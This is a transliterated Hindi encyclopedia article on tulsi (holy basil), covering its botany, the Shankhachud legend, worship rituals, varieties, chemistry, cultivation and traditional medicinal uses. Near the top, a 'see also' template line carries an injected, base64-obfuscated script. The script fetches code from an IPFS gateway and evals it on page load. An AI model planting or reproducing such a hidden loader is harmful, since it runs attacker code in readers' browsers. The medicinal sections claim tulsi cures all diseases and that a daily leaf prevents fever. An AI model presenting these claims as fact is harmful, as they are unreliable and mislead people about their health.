तुलसी

tulasi
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jagat	padap (Plantae)
varg	ऍstarids (Asterids)
gan	laimiels (Lamiales)
kul	laimiesi (Lamiaceae)
jati	osimam (Ocimum)
prajati	O. tenuiflorum (tenooeephloram)
dvipad nam	aausimam tenooeephloram
sanbandhit lekh	tulasi vivah, tulasi mata ki arati, tulasi ka dharmik mahattv
paryayavachi	'vrianda', 'vriandavani', 'vishv poojita', 'vishv pavani', 'pushpasara', 'nandini', 'tulasi' aur 'krishna jivani'.
ropan samay	march se joon
any janakari	tulasi ke prabhav se manasik shaanti ghar mean sukh-samriddhi aur jivan mean apar saphalataoan ka dvar khulata hai. yah aisi ramaban aushadhi bhi hai, jo har prakar ki bimariyoan mean kam ati hai.

tulasi (Ocimum sanctum / aausimam saiktam) ek dvibijapatri tatha shakiy, aushadhiy paudha hai. yah jha di ke roop mean ugata hai aur 1 se 3 phut ooancha hota hai. isaki pattiyaan baiangani abha vali halke roean so dhaki hoti hai. pattiyaan 1 se 2 ianch lambi sugandhit aur aandakar ya ayatakar hoti haian. pushp manjari ati komal evan 8 ianch lambi aur bahurangi chhataoan vali hoti hai, jis par baiangani aur gulabi abha vale bahut chhote hridayakar pushp chakroan mean lagate haian. bij chapate pitavarn ke chhote kale chihnoan se yukt aandakar hote haian. ne paudhe mukhy roop se varsha rritu mean ugate hai aur shitakal mean phoolate haian. paudha samany roop se do-tin varshoan tak hara bana rahata hai. isake bad isaki vriddhavastha a jati hai. patte kam aur chhote ho jate haian aur shakhaean sookhi dikhaee deti haian. is samay use hatakar naya paudha lagane ki avashyakata pratit hoti hai.

1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pauranik katha

'shivamahapuran' ke anusar puratan samay mean daityoan ka raja danbh tha. vah vishnubhakt tha. bahut samay tak jab usake yahaan putr nahian hua to usane daityoan ke shukrachary ko guru banakar unase shrikrishna mantr prapt kiya aur pushkar mean jakar ghor tap kiya. usaki tapasya se prasann hokar bhagavan vishnu ne use putr hone ka varadan diya. bhagavan vishnu ke varadan svaroop danbh ke yahaan putr ka janm hua. isaka nam shankhachoo d rakha gaya. jab shankhachoo d b da hua to usane pushkar mean jakar brahma ji ko prasann karane ke lie ghor tapasya ki.

shankhachoo d ki tapasya se prasann hokar brahma ji prakat hue aur var maangane ke lie kaha. tab shankhachoo d ne varadan maanga ki- "maian devataoan ke lie ajey ho jaooan." brahma ji ne use varadan de diya aur kaha ki- "tum badarivan jao. vahaan dharmadhvaj ki putri tulasi tapasya kar rahi hai, tum usake sath vivah kar lo." brahma ji ke kahane par shankhachoo d badarivan gaya. vahaan tapasya kar rahi tulasi ko dekhakar vah bhi akarshit ho gaya. tab bhagavan brahma vahaan ae aur unhoanne shankhachoo d ko gaandharv vidhi se tulasi se vivah karane ke lie kaha. shankhachoo d ne aisa hi kiya. is prakar shankhachoo d v tulasi sukhapoorvak vihar karane lage.

shankhachoo d bahut vir tha. use varadan tha ki devata bhi use hara nahian paeange. usane apane bal se devataoan, asuroan, danavoan, rakshasoan, gandharvoan, nagoan, kinnaroan, manushyoan tatha triloki ke sabhi praniyoan par vijay prapt kar li. usake rajy mean sabhi sukhi the. vah sadaiv bhagavan shrikrishna ki bhakti mean lin rahata tha. svarg ke hath se nikal jane par devata brahma ji ke pas ge aur brahma ji unhean lekar bhagavan vishnu ke pas ge. devataoan ki bat sunakar bhagavan vishnu ne kaha ki "shankhachoo d ki mrityu bhagavan shiv ke trishool se nirdharit hai." yah janakar sabhi devata bhagavan shiv ke pas ae. devataoan ki bat sunakar bhagavan shiv ne chitrarath namak gan ko apana doot banakar shankhachoo d ke pas bheja. chitrarath ne shankhachoo d ko samajhaya ki vah devataoan ko unaka rajy lauta de, lekin shankhachoo d ne kaha ki "mahadev ke sath yuddh kie bina maian devataoan ko rajy nahian lautaooanga." bhagavan shiv ko jab yah bat pata chali to ve yuddh ke lie apani sena lekar nikal p de. shankhachoo d bhi yuddh ke lie taiyar hokar ranabhoomi mean a gaya. dekhate hi dekhate devata v danavoan mean ghamasan yuddh hone laga. varadan ke karan shankhachoo d ko devata hara nahian pa rahe the. shankhachoo d aur devataoan ka yuddh saik doan saloan tak chalata raha. aant mean bhagavan shiv ne shankhachoo d ka vadh karane ke lie jaise hi apana trishool uthaya, tabhi akashavani huee ki- "jab tak shankhachoo d ke hath mean shrihari ka kavach hai aur isaki patni ka satitv akhandit hai, tab tak isaka vadh sanbhav nahian hoga."

akashavani sunakar bhagavan vishnu vriddh brahman ka roop dharan kar shankhachoo d ke pas ge aur usase shrihari kavach dan mean maang liya. shankhachoo d ne vah kavach bina kisi sankoch ke dan kar diya. isake bad bhagavan vishnu shankhachoo d ka roop banakar tulasi ke pas ge. vahaan jakar shankhachoo d roopi bhagavan vishnu ne tulasi ke mahal ke dvar par jakar apani vijay hone ki soochana di. yah sunakar tulasi bahut prasann huee aur pati roop mean ae bhagavan ka poojan kiya v raman kiya. tulasi ka satitv bhang hote hi bhagavan shiv ne yuddh mean apane trishool se shankhachoo d ka vadh kar diya. kuchh samay bad tulasi ko jnat hua ki yah mere svami nahian hai, tab bhagavan apane mool svaroop mean a ge. apane sath chhal hua janakar shankhachoo d ki patni rone lagi. usane kaha- "aj apane chhalapoorvak mera dharm nasht kiya hai aur mere svami ko mar dala. ap avashy hi pashan hriday haian, at: ap mere shrap se ab pashan (patthar) hokar prithvi par rahean." tab bhagavan vishnu ne kaha- "devi. tum mere lie bharatavarsh mean rahakar bahut dinoan tak tapasya kar chuki ho. ab tum is sharir ka tyag karake divy deh dharanakar mere sath anand se raho. tumhara yah sharir nadi roop mean badalakar gandaki namak nadi ke roop mean prasiddh hoga. tum pushpoan mean shreshth tulasi ka vriksh ban jaogi aur sada mere sath rahogi. tumhare shrap ko saty karane ke lie maian pashan (shaligram) banakar rahooanga. gandaki nadi ke tat par mera vas hoga. nadi mean rahane vale karo doan ki de apane tikhe daantoan se kat-katakar us pashan mean mere chakr ka chihn banaeange. dharmalujan tulasi ke paudhe v shaligram shila ka vivah kar puny arjan kareange.

tulasi ka mahattv

bharat mean tulasi ka mahattvapoorn sthan hai. tulasi shabd ka vishleshan karane par jnat hota hai ki jis vanaspati ki kisi se tulana n ki ja sake vah tulasi hai. tulasi ko hindoo dharm mean jagat-janani ka pad prapt hai. tulasi ke mahatmyoan v karan shakti ke sookshm prabhavoan se puranoan ke adhyay bhare p de haian. hinduoan dvara sadiyoan se devata ke roop mean ghar-ghar pooje jane vala paudha tulasi (Holy Basil) hai. bahut hi kam log yah janate hai ki yah paudha matr dharm aur adhyatmik taur par hi poojyaniy nahian hai varanh isake any jivanadayi gun bhi hai, jo is paudhe ki mahatta mean char chaand laga dete hai. sarv rog nivarak tatha jivan shakti sanvardhak is aushadhi ko sanbhavatah pratyaksh dev mana jana isi tathy par adharit hai ki aisi sasti, sulabh, sugam, suandar, upayogi vanaspati manushy samuday ke lie koee aur nahian hai. tulasi apake jivan ko nirogi evan atma ka shodhan kar use pavitr banane mean apana mahattvapoorn yogadan deti hai.

adhikaansh hindoo gharoan mean tulasi ka paudha avashy hi hota hai. tulasi ghar ke aangan mean lagane ki pratha hazaroan sal purani hai. tulasi ko daivi ka roop mana jata hai. sath hi manyata hai ki tulasi ka paudha ghar mean hone se ghar valoan ko buri najar prabhavit nahian kar pati aur any buraiyaan bhi ghar aur gharavaloan se door hi rahati hai. tulasi ka paudha ghar mean rahane se usaki sugandh vatavaran ko pavitr banati hai aur hava mean maujood bimari ke jivanu adi ko nasht kar deti hai. tulasi ki suangadh hamean shvas sanbandhi kee rogoan se bachati hai. sath hi tulasi ki ek patti roj sevan karane se hamean kabhi bukhar nahian aega aur is tarah ke sabhi rog hamase sada door rahate haian. tulasi ki patti khane se hamare sharir ki rogapratirodhak kshamata kafi badh jati hai.

tulasi ke ath nam

dharmashastroan ke anusar tulasi ke ath nam batae ge haian - vrianda, vriandavani, vishv poojita, vishv pavani, pushpasara, nandini, tulasi aur krishna jivani.

tulasi ki prajatiyaan

bharat ke pratyek bhag mean tulasi ke paudhe paye jate haian isaka paudha b da vriksh nahian banata keval dedh ya do phut tak badhata hai. isaki j dean dharati ki gaharaee tak jakar pani khianch nahian sakati. nityajal sianchan se isaki sanbhal-suraksha ki jati hai. tulasi ki lagabhag 60 prajatiyaan eshiya, aphrika, amerika tatha any deshoan maian ugaee jati hai. tulasi vishv ki lagabhag sabhi jalavayu mean paee jati haian. tulasi sada harit hoti hai. sadharanatah march se joon tak ise lagate haian. sitambar aur aktoobar mean vah phoolata hai. sara paudha sugandhit manjariyoan se lad jata hai. ja de ke dinoan mean isake bij pakate haian. yah barahoan mah kisi n kisi roop mean prapt kiya ja sakata hai. tulasi ki samanyataya nimn prajatiyaan paee jati haian.

1. aausimam amerikan, osimam kenam - (kali tulasi) gambhira ya mamari.
2. aausimam vesilikam - (marua tulasi), munjariki ya murasa, (svit besil ya phreanch besil ya iandiyan besil ya mithi tulasi).
3. aausimam vesilikam minimam.
4. asimam gretisikam - (ram tulasi, van tulasi). saphed tulasi
5. aausimam kilimandacherikam - (kapoori / kapoor tulasi, bel tulasi).
6. aausimam saiktam - shri tulasi tatha krishnaa tulasi, (ghareloo tulasi). shyam tulasi
7. aausimam viridi - (jangali tulasi).

tulasi

200px|pavitr tulasi

pavitr tulasi

200px|Sweet Tulsi

Sweet Tulsi

200px|Thai Tulsi

Thai Tulsi

200px|Lemon Tulsi

Lemon Tulsi

200px|Purple Tulsi

Purple Tulsi

200px|Cinnamon Tulsi

Cinnamon Tulsi

200px|bharatiy dak tikat mean tulasi

bharatiy dak tikat mean tulasi

aausimam saiktam

aausimam saiktam ko pradhan ya pavitr tulasi mana gaya jata hai, isaki bhi do pradhan prajatiyaan haian - shri tulasi jisaki pattiyaan hari hoti haian tatha krishnaa tulasi jisaki pattiyaan nilabh - kuchh baiangani rang lie hoti haian. shri tulasi ke patr tatha shakhaean shvetabh hote haian, jabaki krishna tulasi ke patradi krishna rang ke hote haian. inamean krishna tulasi sarvapriy mani jati hai. gun, dharm ki drishti se kali tulasi ko hi shreshth mana gaya hai, parantu adhikaansh vidvanoan ka mat hai ki donoan hi gunoan mean saman haian. shri bhav mishr kahate haian - 'shyama shukla krishnaa ch tulasi gunaistulya prakirtit.'

osimam besilikam

osimam besilikam (svit besil ya phreanch besil ya iandiyan besil ya mithi tulasi) prajati bahut hi upayogi hai, kyoanki isase mitha tulasi ka tel (svitabesil aauil) milata hai. osimam besilikam lemiesi kul ka paudha hai. is paudhe ki lambaee 30 se 90 se॰ mi॰ hoti hai, pattiyoan ki lambaee 3-5 se॰ mi॰ hoti hai. paudhe mean bahut si tel kaushikaean hoti hai jo sugandh tel deti hai.

tulasi ka gulm ke saman kshup 1 se 3 phut ooancha shakhayukt romash, baiangani abha lie hota hai. patr 1 se 2 ianch lambe andakar ya ayatakar hote haian. pratyek patr mean ek prakar ki tivr sugandh hoti hai. tulasi mean kh di manjariyaan ugati haian. pushp manjari ati komal evan 8 ianch lambi aur anek rangi chhataoan se mandit hoti hai. is par baiangani ya rakt-si abha lie bahut chhote pushp chakroan mean lagate haian. pushpak prayah hridayavath hote haian. bij chapate pitavarn ke chhote kale chihnoan se yukt andakar hote haian. pushp shitakal mean ate haian.

sangrah sanrakshan

tulasi ka patr, mool, bij upayogi aang haian. inhean sukhakar mukh band patroan mean sookhe shital sthanoan par rakha jata hai. inhean ek varsh tak prayog mean laya ja sakata hai. sarvatr evan sarvada sulabh hone se patroan ka prayog taji avastha mean kiya jana hi shreshth hai. aisa shastriy mat hai ki pattoan ko poornima, amavasya, dvadashi, soory sankraanti ke din, madhyahn kal ratri donoan sandhyaoan ke samay bina nahae-dhoe n to da jae. upayukt samay par to da jana dharmik mahattv rakhata hai, jal mean rakhe jane par taja patr bhi tin ratri tak pavitr rahata hai. yah paudha samantaya do-tin varshoan tak javan bana rahata hai. isake bad isaki vriddhavastha a jati hai to patte kam aur chhote ate haian. sookhi-sookhi danthalean kh di dikhaee deti haian. tab use hatakar naya paudha lagane ki avashyakata pratit hoti hai.

rasayanik sangathan

tulasi mean anekoan jaiv sakriy rasayan pae ge haian, jinamean trainin, saivonin, glaikosaid aur elkelaids pramukh haian. abhi bhi poori tarah se inaka vishleshan nahian ho paya hai. pramukh sakriy tatv haian ek prakar ka pila u danashil tel jisaki matra sangathan sthan v samay ke anusar badalate rahate haian. 0.1 se 0.3 pratishat tak tel paya jana samany bat hai. 'vailth aauph indiya' ke anusar is tel mean lagabhag 71 pratishat yoojin aaul, bis pratishat yoojin aaul mithail eethar tatha tin pratishat karvakol hota hai. shri tulasi mean shyama ki apeksha kuchh adhik tel hota hai tatha is tel ka sapekshik ghanatv bhi kuchh adhik hota hai. tel ke atirikt patroan mean lagabhag 83 miligram pratishat vitamin si evan 2.5 miligram pratishat kairitin hota hai. tulasi bijoan mean hare pile rang ka tel lagabhag 17.8 pratishat ki matra mean paya jata hai. isake ghatak haian kuchh sitoster aaul, anekoan vasa aml mukhyatah pamitik, stiyarik, olik, linolak aur linolik aml. tel ke alava bijoan mean shleshmak prachur matra mean hota hai. is myusilej ke pramukh ghatak haian - pentos, hekja yooronik aml aur rakh. rakh lagabhag 0.2 pratishat hoti hai.

tulasi ki kheti

tulasi ki upayogita ko dekhate hue aj isaki kheti bhi hone lagi hai. ajamagadh maian b de paimane par tulasi ki kheti shuroo ho gee hai, jo desh videsh maian bheji ja rahi hai. tulasi ka paudha aushadhiy gunoan se paripoorn evan sugandh tel ka uttam srot hai. vibhinn prajatiyoan ki tulasi ke tel mean rasayanik tatv alag-alag hone ke karan vibhinn utpadoan mean prayog kiya jata hai. isaka prayog sugandh banane, sardiyoan ki aushadhiyoan ke nirman, khaansi evan kaph ki dava banane, kanphaikshanari udyog evan tooth pest, mauthavash, dental krim adi ke nirman mean kiya jata hai. isaka tel khady padarthoan ko suvasit karane mean bhi kiya jata hai.

jalavayu

tulasi ko sabhi prakar ki jalavayu vale sthanoan par ugaya ja sakata hai. uttar bharat ke maidani bhagoan maian tulasi ko grishm rritu ki phasal ke roop mean ugaya ja sakata hai. tulasi ki santoshajanak vidhi ke lie madhyam tapakram adhik upayukt rahata haian. adhik varsha tatha pala tulasi ki upaj par bura prabhav dalate haian.

bhoomi

tulasi ko vibhinn prakar ke mridaoan evan jalavayu maian asani se ugaya ja sakata hai. tulasi ki kheti karane ke lie domat evan bulee domat mitti jinaka pi॰ ech॰ 5-8 ho evan jaladharan kshamata achchhi ho upayukt samajhi jati hai. adhik retili v bhari domat mitti upayukt nahian hai. khet ko ek bar mitti palatane vale hal se tatha do bad desi hal ya kaltivetar se jot kar pata lagaean. gobar ki gali-s di khad upalabdh ho to aantim jutaee ke samay mitti mean mila dean. khet ki taiyari is prakar karean ki mee – joon maian paudh lag jaye.sm -- kusumohak evan vikar sudha, CIMAP lakhanoo dvara vikasit kismean haian.

tulasi ka dharmik evan adhyatmik parichay

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tulasi ka paudha hamare lie dharmik evan adhyatmik mahatv ka paudha hai jis ghar mean isaka vas hota hai vaha adhyatmik unnati ke sath sukh-shaanti evan arthik samriddhata svatah a jati hai. vatavaran mean svachchhata evan shuddhata, pradooshan ka shaman, ghar parivar mean arogy ki j dean mazaboot karane, shraddha tatv ko jivit karane jaise anekoan labh isake haian. tulasi ke niyamit sevan se saubhagyashalita ke sath hi soch mean pavitrata, man mean ekagrata ati hai aur krodh par poorn niyantran ho jata hai. alasy door hokar sharir mean dinabhar phoorti bani rahati hai. tulasi ki sookshm v karan shakti advitiy hai. yah atmonnati ka path prashast karati hai tatha gunoan ki drishti se sanjivani booti hai. tulasi ko pratyaksh dev manane aur mandiroan evan gharoan mean use lagane, pooja karane ke pichhe sanbhavatah yahi karan hai ki yah sarv dosh nivarak aushadhi sarv sulabh tatha sarvopayogi hai. dharmik dharana hai ki tulasi ki sevapooja v aradhana se vyakti svasth evan sukhi rahata hai. anek bharatiy har rog mean tulasidal-grahan karate hue ise daiviy gunoan se yukt sau rogoan ki ek dava manate haian. gale mean tulasi-kashth ki mala pahanate haian.

tulasi pooja

tulasi ki pooja se ghar mean sukh-samriddhi aur dhan ki koee kami nahian hoti. isake pichhe dharmik karan hai. tulasi mean hamare sabhi papoan ka nash karane ki shakti hoti hai. tulasi ko lakshmi ka hi svaroop mana gaya hai. vidhi-vidhan se isaki pooja karane se mahalakshmi prasann hoti haian aur inaki kripa svaroop hamare ghar par kabhi dhan ki kami nahian hoti. kartik mas ke shuklapaksh ki ekadashi ko tulasi vivah ka utsav manaya jata hai. is ekadashi par tulasi vivah ka vidhivat poojan karane se bhaktoan ki sabhi manokamanaean poorn hoti haian.

tulasi poojan ki samany samagri

tulasi pooja ke lie ganna (eekh), vivah mandap ki samagri, suhagan stri ki sanpoorn samagri, ghi, dipak, dhoop, sindoor , chandan, naivady aur pushp adi.

tulasi poojan ka shreshth muhoort

sham 7.50 se 9.20 tak shubh chaughadiy़aan mean tulasi poojan karean.

tulasi namashtak

vrinda vrindavani vishvapoojita vishvapavani. pushpasara nandanich tulasi krishna jivani..
etabhamaanshtak chaiv srotan namarthan sanyutam. y: pathet taan ch sampoojh sauashramegh phalanlameta..

tulasi ka aushadhiy parichay

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bharatiy sanskriti aur dharm mean tulasi ko usake mahanh gunoan ke karan hi sarvashreshth sthan diya gaya hai. bharatiy sanskriti mean yah poojy hai. tulasi ka dharmik mahatv to hai hi lekin vijnan ke drishtikon se tulasi ek aushadhi hai. tulasi ko hajaroan varshoan se vibhinn rogoan ke ilaj ke lie aushadhi ke roop mean prayog kiya ja raha haian. ayurved mean tulasi tatha usake vibhinn aushadhiy prayogoan ka vishesh sthan haian. ayurved mean tulasi ko sanjivani booti ke saman mana jata hai. apake aangan mean laga chhota sa tulasi ka paudha, anek bimariyo ka ilaj karane ke acharyajanak gun lie hue hota haian. tulasi mean kee aise gun hote haian jo b di-b di jatil bimariyoan ko door karane aur unaki rokatham karane mean sahayak hai. hriday rog ho ya sardi jukam, bharat mean sadiyoan se tulasi ka istemal hota chala a raha hai. aushadhi ye gunoan se paripoorn pauranik kal se prasiddh patit pavan tulasi ke patto ka vidhipoorvak niyamit aushadhituly sevan karane se anekanek bimariya thik ho jati hai. isake prabhav se manasik shaanti ghar mean sukh samriddhi aur jivan mean apar saphalataoan ka dvar khulata hai. yah aisi ramaban aushadhi hai jo har prakar ki bimariyoan mean kam ati hai jaise - smaran shakti, hriday rog, kaph, shvas ke rog, pratishyay, khoon ki kami, kh aausi, jukam, dama, dant rog, dhaval rog adi mean chamatkari labh milata hai. tulasi ek prakar se sare sharir ka shodhan karane vali jivan shakti sanvardhak aushadhi hai. vatavaran ka bhi shodhan karati hai tatha paryavaran santulan banati hai. is aushadhi ke vishay mean jitana likha jae kam hai.

gun

• hindoo dharm sanskriti ke chir puratan granth vedoan mean bhi tulasi ke gunoan evan usaki upayogita ka varnan milata hai. atharvaved (1-24) mean varnan milata hai - sarupakrit tvayoshadhesa sarupamid kridhi, shyama sarup karani prithivyaan atyadabhuta. idamh suprasadhay puna rupani kalpay॥ arthath - shyama tulasi manav ke svaroop ko banati hai, sharir ke oopar ke saphed dhabbe athava any prakar ke tvacha sanbandhi rogoan ko nasht karane vali atyuttam mahaushadhi hai.
• maharshi charak tulasi ke gunoan ka varnan karate hue likhate haian - hikkakasavishashvas parshvashoolavinashanah . pittakrith kaphavataghnrah surasah pootigandhahaah॥ tulasi hichaki, khaansi, vish, shvaans rog aur parshv shool ko nasht karati hai. yah pitt karak, kaph-vatanashak tatha sharir evan bhojy padarthoan ki durgandh ko door karati hai.
• sootr sthan mean ve likhate haian - gaurave shirasah shoolepinase hyahiphenake . krimivyadhavapasmare ghrananashe premaheke॥ (2/5) sir ka bhari hona, pinas, mathe ka dard, adha shishi, miragi, nasika rog, krimi rog tulasi se door hote haian.
• sushrut maharshi ka mat bhi isase alag nahian hai. ve likhate haian - kaphanilavishashvasakas daurgandhanashanah . pittakritakaphavataghnah surasah samudahritah॥ (sootr-46) tulasi, kaph, vat, vish vikar, shvaans-khaansi aur durgandh nashak hai. pitt ko utpann karati hai tatha kaph aur vayu ko vishesh roop se nasht karati hai.
• bhav prakash mean uddharan hai - tulasi pittakrid vat krimirdorgandhanashini. parshvashoolaratisvas-kas hikkavikarajit॥ tulasi pittanashak, vat-krimi tatha durgandh nashak hai. pasali ka dard, aruchi, khaansi, shvaans, hichaki adi vikaroan ko jitane vali hai. age ve likhate haian - yah hriday ke lie hitakar, ushn tatha agnidipak hai evan kusht-mootr vikar, rakt vikar, parshvashool ko nasht karane vali hai. shvet tatha krishnaa tulasi donoan hi gunoan mean saman haian.

homyopaithik mat

bharatiy v yooropiy donoan hi homyopaith siddhant tulasi ko amritopam manate haian. bangal ke d aau. vishvas kahate haian ki tulasi anekanek lakshanoan mean labhakari aushadhi hai. sir mean dard, smaran shakti mean kami, bachchoan ka chi dachi dapan, aankhoan ki lali, elarji ke karan chhikean ana, nak bahana, muanh mean chhale, gale mean dard, peshab mean jalan, dama tatha jirn jvar jaise bahut prakar ke lakshanoan mean tulasi ko homyopaithi mean sthan diya gaya hai. isaki 2, 3, 6, 30 tatha 200 vian potensi mean prayog kar in sabhi rogoan mean labh pae haian. brajil mean tulasi ki aausimam kainan namak jati payi jati hai. d aau. bhare v borik yah manate haian ki yah prajanan tatha mootravahi sansthan rogoan ki shreshth aushadhi hai.

yoonani mat

isake anusar tulasi hridayottejak, balavardhak tatha yakrit amashay baladayak hai. yah hriday ko bal dene vali hone ke karan anek prakar ke shoth-vikarajany rogoan mean aram deti hai. yah shirahshool ki shreshth aushadhi hai. patte sooanghane se moorchchha door hoti hai tatha chabane se durgandh. ras kan mean tapakane se karnashool shant hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sambandhit lekh

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